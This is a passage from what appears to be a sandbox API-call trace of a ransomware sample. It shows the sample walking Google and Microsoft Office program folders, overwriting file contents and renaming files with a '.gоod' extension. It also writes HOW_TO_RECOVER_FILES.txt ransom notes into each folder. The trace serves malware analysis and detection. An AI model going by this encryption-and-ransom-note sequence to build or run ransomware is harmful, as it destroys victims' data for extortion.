(dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0124.260] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\61.0.3163.79_chrome_installer.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\61.0.3163.79_chrome_installer.exe.gоod")) returned 1 [0124.261] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0124.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0124.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\install\\{6124b51c-167f-4c55-9898-e7167409448b}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0124.263] GetFileType (hFile=0x20c) returned 0x1 [0124.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0124.263] GetFileType (hFile=0x20c) returned 0x1 [0124.264] WriteFile (in: hFile=0x20c, lpBuffer=0x35e4330*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x35e4330*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0124.265] CloseHandle (hObject=0x20c) returned 1 [0124.265] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Install\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0124.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0124.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\install\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0124.265] GetFileType (hFile=0x20c) returned 0x1 [0124.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0124.266] GetFileType (hFile=0x20c) returned 0x1 [0124.266] WriteFile (in: hFile=0x20c, lpBuffer=0x35e7b98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x35e7b98*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0124.267] CloseHandle (hObject=0x20c) returned 1 [0124.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0124.269] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics", lpFilePart=0x0) returned 0x3d [0124.269] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0124.269] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.269] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 1 [0124.270] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0124.270] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0124.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0124.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0124.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0124.270] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics", lpFilePart=0x0) returned 0x3d [0124.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0124.270] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.270] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 1 [0124.271] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 0 [0124.271] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0124.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0124.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0124.271] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0124.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0124.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0124.424] GetFileType (hFile=0x640) returned 0x1 [0124.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0124.424] GetFileType (hFile=0x640) returned 0x1 [0125.675] WriteFile (in: hFile=0x640, lpBuffer=0x363ebb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x363ebb0*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0125.676] CloseHandle (hObject=0x640) returned 1 [0125.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0125.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc", lpFilePart=0x0) returned 0x2a [0125.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.677] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.678] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0125.678] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.678] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0125.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0125.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0125.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc", lpFilePart=0x0) returned 0x2a [0125.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.678] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.678] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0125.679] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="APPXMA~1.XML")) returned 0 [0125.679] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0125.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0125.679] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0125.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0125.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x364df98 | out: lpFileInformation=0x364df98*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2667)) returned 1 [0125.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0125.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0125.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0125.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0125.680] GetFileType (hFile=0x640) returned 0x1 [0125.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0125.680] GetFileType (hFile=0x640) returned 0x1 [0125.681] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0125.681] ReadFile (in: hFile=0x640, lpBuffer=0x364f3f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x364f3f8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0125.978] CloseHandle (hObject=0x640) returned 1 [0125.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0125.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0125.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0125.979] GetFileType (hFile=0x640) returned 0x1 [0125.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0125.979] GetFileType (hFile=0x640) returned 0x1 [0125.979] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2667 [0125.979] WriteFile (in: hFile=0x640, lpBuffer=0x370ab68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x370ab68*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0126.017] CloseHandle (hObject=0x640) returned 1 [0126.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0126.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0126.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.017] GetFileType (hFile=0x640) returned 0x1 [0126.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0126.017] GetFileType (hFile=0x640) returned 0x1 [0126.017] ReadFile (in: hFile=0x640, lpBuffer=0x370fdb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x370fdb8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0126.083] CloseHandle (hObject=0x640) returned 1 [0126.083] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0126.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0126.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0126.083] GetFileType (hFile=0x640) returned 0x1 [0126.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0126.083] GetFileType (hFile=0x640) returned 0x1 [0126.083] WriteFile (in: hFile=0x640, lpBuffer=0x370eaf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x370eaf8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0126.083] CloseHandle (hObject=0x640) returned 1 [0126.083] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml", lpFilePart=0x0) returned 0x44 [0126.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.gоod", lpFilePart=0x0) returned 0x49 [0126.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0126.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x475c7119, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2677)) returned 1 [0126.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0126.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\AppXManifestLoc.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\loc\\appxmanifestloc.en-us.xml.gоod")) returned 1 [0126.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\loc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0126.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0126.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\loc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0126.086] GetFileType (hFile=0x640) returned 0x1 [0126.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0126.086] GetFileType (hFile=0x640) returned 0x1 [0126.086] WriteFile (in: hFile=0x640, lpBuffer=0x382d980*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x382d980*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0126.087] CloseHandle (hObject=0x640) returned 1 [0126.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0126.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml", lpFilePart=0x0) returned 0x2c [0126.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, 